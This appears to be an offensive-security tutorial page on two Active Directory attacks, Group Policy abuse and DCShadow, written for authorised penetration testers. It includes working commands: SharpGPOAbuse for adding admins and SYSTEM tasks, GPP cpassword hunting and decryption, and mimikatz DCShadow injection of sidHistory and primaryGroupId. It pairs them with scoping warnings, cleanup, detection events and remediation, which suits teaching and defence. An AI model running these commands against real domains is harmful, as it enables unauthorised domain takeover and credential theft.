11 min read

Active Directory Exploitation

Two directory-level techniques have no other home in this section: modifying Group Policy to execute code as SYSTEM across an OU, and registering a rogue DC to write changes that replicate like any other DC's. Both change the directory rather than a host, and both are the difference between holding domain credentials and controlling the domain.

Danger

Both techniques change directory-wide configuration and both survive the end of the engagement if you forget them. Confirm in the Rules of Engagement that policy changes and replication-level changes are in scope, record every object you touch at the time you touch it, and remove it before the debrief.

Where Each AD Attack Lives

This page used to re-teach DCSync, ACL abuse, the ADCS ESC families and shadow credentials. Those are taught once, in the pages below, and the copies here had drifted out of step with them — so they are gone rather than duplicated. Use this table to get to the page that owns the mechanic.

Attack Taught in depth at What it gives you
DCSync 05g — Credential Dumping, 06d — Domain Dominance Every hash in the domain over the replication protocol, without touching NTDS.dit on disk
ACL abuse AD Attack Paths — ACL Abuse GenericAll, WriteDACL, WriteOwner and ForceChangePassword turned into a path
ADCS (ESC1/4/6/8) 05i — ADCS Attacks A certificate for any account, valid for the template's lifetime
Shadow credentials 05j — Shadow Credentials A key credential on msDS-KeyCredentialLink that authenticates as the target
Delegation abuse 05k — Delegation Attacks Impersonation through unconstrained, constrained and RBCD configurations
Coercion 05n — Coercion Attacks A machine authentication you can relay or capture

Tooling

SharpGPOAbuse

Modify a GPO you can write: local admins, startup scripts, scheduled tasks

github.com/FSecureLABS/SharpGPOAbuse

PowerView

Find GPOs you can write and the OUs they are linked to

PowerSploit/Recon

mimikatz

DCShadow: declare a change, then push it as a replica

lsadump::dcshadow

GPO Abuse

A GPO is two rights, not one. Editing the policy means write access to the GPO object and to its files under SYSVOL\Policies\{GUID} — GenericWrite, WriteProperty or WriteDacl on the GPO. Making it do anything means a link, which is a write to gpLink on a site, domain or OU. Editing a GPO nobody links changes nothing; linking a GPO you cannot edit changes nothing. The exploit is the pair, and the scope of the finding is the link target: a GPO linked at the domain root applies to every computer and user in the domain, not just the OU you happened to notice.

Timing decides which mechanism to use. Computer policy refreshes every 90 minutes with up to 30 minutes of jitter (every 5 minutes on a DC), so a Restricted Groups or startup-script change waits for the next refresh and, for a startup script, for the next boot. SharpGPOAbuse's --AddComputerTask writes an immediate scheduled task through Group Policy Preferences instead, which fires at the next refresh without needing a reboot. Either way the payload executes as SYSTEM — there is no local exploit in the chain, which is why GPO write access is treated as equivalent to local admin on every host in scope.

Find a GPO You Can Write

Find-WritableGPO.ps1
# PowerView — GPOs where you hold write rights, and who is in the link
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |
  Where-Object { $_.ActiveDirectoryRights -match 'WriteProperty|WriteDacl|WriteOwner' } |
  Select-Object ObjectDN, SecurityIdentifier, ActiveDirectoryRights

# Which OUs (and therefore which computers) a GPO applies to
Get-DomainOU -GPLink "*{GPO-GUID}*" | Select-Object name, distinguishedname
Get-DomainOU -GPLink "*{GPO-GUID}*" | ForEach-Object {
  Get-DomainComputer -SearchBase $_.distinguishedname | Select-Object name
}

# BloodHound — does a write edge to a GPO reach a privileged OU?
MATCH p=(u:User)-[:GenericAll|GenericWrite|WriteOwner|WriteDacl]->(g:GPO)
RETURN p

Exploit the Write

SharpGPOAbuse.txt
# Add a local administrator to every machine the GPO reaches
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Workstation Baseline"

# Startup script — runs as SYSTEM at next boot
SharpGPOAbuse.exe --AddComputerScript --ScriptName startup.bat   --ScriptContents "net localgroup administrators CORP\attacker /add"   --GPOName "Workstation Baseline"

# Immediate scheduled task — next refresh, no reboot needed
SharpGPOAbuse.exe --AddComputerTask --TaskName "Inventory" --Author "NT AUTHORITY\SYSTEM"   --Command "cmd.exe" --Arguments "/c net localgroup administrators CORP\attacker /add"   --GPOName "Workstation Baseline"

# Push the change from a host you control (only affects that host)
gpupdate /force

Read access to a GPO is a credential finding as well as a policy one. Older estates still carry Group Policy Preferences passwords in Groups.xml and friends under SYSVOL, encrypted with a key Microsoft published in 2012 (MS14-025 stopped new ones being written in 2014; it did not remove the existing files). Nothing needs to be decrypted on the host — the file is readable by any authenticated user who can list the policy folder.

GPP-cpassword.txt
# Legacy GPP passwords left in SYSVOL
findstr /S /I cpassword \\corp.local\SYSVOL\*.xml

# Decrypt a cpassword from the XML
gpp-decrypt 'j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw'

Warning

Cleanup is not optional. Every mechanism above is a file under SYSVOL\Policies\{GUID}\Machine plus a GPO version bump. Remove the preference, script or Restricted Groups entry, raise the version again so clients re-apply the corrected policy, and re-read the GPO from a client to prove the entry is gone.

DCShadow

Normal directory changes are attributable: change a user's group membership and the 5136 event names your account as the subject, and the 4728 that usually precedes it names it again. DCShadow removes that attribution. It registers a temporary rogue DC, then uses the replication protocol (DRSUAPI) to push an attribute value into the directory, so the change is written with the rogue DC as the originating DSA — and replication traffic is what a DC expects to receive from another DC.

It is not a privilege-escalation primitive: DCShadow makes a change you are already entitled to make without the usual audit trail, which is why it targets SID history, primaryGroupId and replication rights. Prerequisites are steep — Domain Admin or equivalent rights to create a server object and replicate, and SYSTEM on a real DC for the push half.

The operation is always two contexts. One mimikatz declares the object, attribute and value and stands up the rogue DC; a second, running as SYSTEM on a domain controller, tells it to push. The change then carries the rogue DC's replication metadata, so it looks like it arrived from a peer.

dcshadow.txt
# Context 1 — declare the change (Domain Admin); this starts the fake DC
mimikatz # lsadump::dcshadow /object:svc-backup /attribute:primaryGroupId /value:512

# Grant SID history instead — historic SID resolves to Domain Admins
mimikatz # lsadump::dcshadow /object:svc-backup /attribute:sidHistory /value:S-1-5-21-1111111111-2222222222-3333333333-512

# Context 2 — as SYSTEM on a real DC: replicate the change in
mimikatz # lsadump::dcshadow /push

Danger

DCShadow leaves the directory changed. The rogue DC registers a server object and an nTDSDSA child, the attribute change carries replication metadata naming that DSA, and a malformed object can stop replication for the partition. Record the object, the attribute, the old value and the new value before you push — that record is the only reliable way to undo it, and the rogue DC registration has to be removed explicitly.

Detection & Blue Team

Signal Event / artefact What it catches
GPO object modified 5136 on CN=Policies,CN=System Version bump and gPCFileSysPath changes. Alert on edits by accounts that do not normally manage policy.
SYSVOL file written 5145 (Detailed File Share) The preference, script or task file itself — the change that actually executes.
New policy applies widely Group Policy operational log on clients Which GPOs each host applied and when, turning "when did this appear" into a query.
Rogue DC registered 5137 / 5136 under CN=Servers A server object and nTDSDSA child appearing for a host that is not a known DC.
Replication from a non-DC 4662 + DS-Replication GUIDs A caller requesting replication rights that is not a DC machine account, or a change whose originating DSA is not in the DC list.
Replication metadata repadmin /showobjmeta The snapshot view after the fact: which DSA last wrote each attribute, including a rogue one.

Tip

Both techniques are also a question for the report: "who is allowed to edit policy that links to a privileged OU" and "who can register a server object" are delegations the client can review without any detection engineering at all. State the count you found.

Cleanup

  • GPO: delete the local-admin entry, preference file or scheduled task, then force a policy refresh on a host in scope and confirm the setting is absent.
  • GPO version: the version number must move again after the removal, or clients will not re-apply the corrected policy.
  • DCShadow: restore the recorded previous value, then remove the rogue server object and its nTDSDSA child and confirm with repadmin /showrepl that replication is healthy.
  • Evidence: keep the before/after attribute values and the object paths — they are the finding, and they are also the proof that cleanup happened.

Evidence Collection

GPO: object, link and version: The GPO's GUID, the site/domain/OU it is linked to, its version number before and after, and the file written under SYSVOL\Policies. The link target is the impact: a GPO at the domain root applies to every machine in the domain.

DCShadow: the four values: Object DN, attribute, old value and new value, plus the rogue DSA name, recorded <em>before</em> the push. Nothing else lets the client undo the change, and nothing else proves what was written.

Cleanup proof: The corrected GPO read back from a client (gpresult /r) with the entry absent and the version bumped, or the restored attribute value confirmed with repadmin /showobjmeta.

CVSS range: Write access to a GPO linked at the domain root: 8.8 | DCShadow injecting sidHistory/primaryGroupId: 9.1, noting it requires Domain Admin or equivalent to attempt

False Positive Identification

  • A writable GPO that is not linked: Write access to a GPO with no link is a permissions-hygiene finding, not code execution. Check gpLink on a site, domain or OU before claiming reach.
  • A linked GPO you cannot edit: The exploitable condition is the pair. Half of it rates as delegation to review, not as a compromise.
  • A GPP cpassword for a retired account: The file is still a finding - it should not exist - but the credential may be disabled. Verify before rating it as an exposed password.
  • A DCShadow push that never replicated: If the rogue DSA could not replicate, nothing was written. Confirm with repadmin /showobjmeta that the attribute value actually changed on the target DC.

Testing Checklist

Both techniques on this page are only proved by a read-back: the setting that applied on a client, or the attribute that replicated on a DC.

GPO abuse

  • ☐ The GPO is confirmed both writable by your account and linked at a site, domain or OU before anything is pushed - write access alone is permissions hygiene.
  • ☐ The pushed setting is read back on a client with gpresult /r after gpupdate, not inferred from the server side.
  • ☐ The GPO's version number before and after is recorded, along with the file written under SYSVOL.
  • ☐ Cleanup restores the setting and the read-back proves the entry is gone.

DCShadow

  • ☐ The rogue DSA registers (!+ succeeds) and the pushed attribute appears on the target DC.
  • ☐ The change is confirmed with repadmin /showobjmeta; a push that never replicated wrote nothing.
  • ☐ Object DN, attribute, old value and new value are recorded before the push, so the client can undo it.
  • ☐ The originating DSA is not in the DC list when the metadata is reviewed - that discrepancy is the only durable trace.

Remediation

Group Policy

  • • Delegate GPO edit rights per OU rather than at the domain root, and remove GenericWrite/WriteDacl from anyone who does not manage policy.
  • • Alert on 5136 under CN=Policies,CN=System and on 5145 writes to SYSVOL\Policies outside a change window.
  • • Delete every cpassword from SYSVOL and rotate the accounts it exposed; MS14-025 stopped new ones but did not remove the old.

DCShadow

  • • Restrict who can create server objects and nTDSDSA children — that right is the precondition, and almost nobody needs it interactively.
  • • Alert on 5137/5136 under CN=Servers, and on 4662 replication requests whose caller is not a known DC machine account.
  • • Review replication metadata for attribute changes whose originating DSA is not in the DC list; that is the only durable trace DCShadow leaves.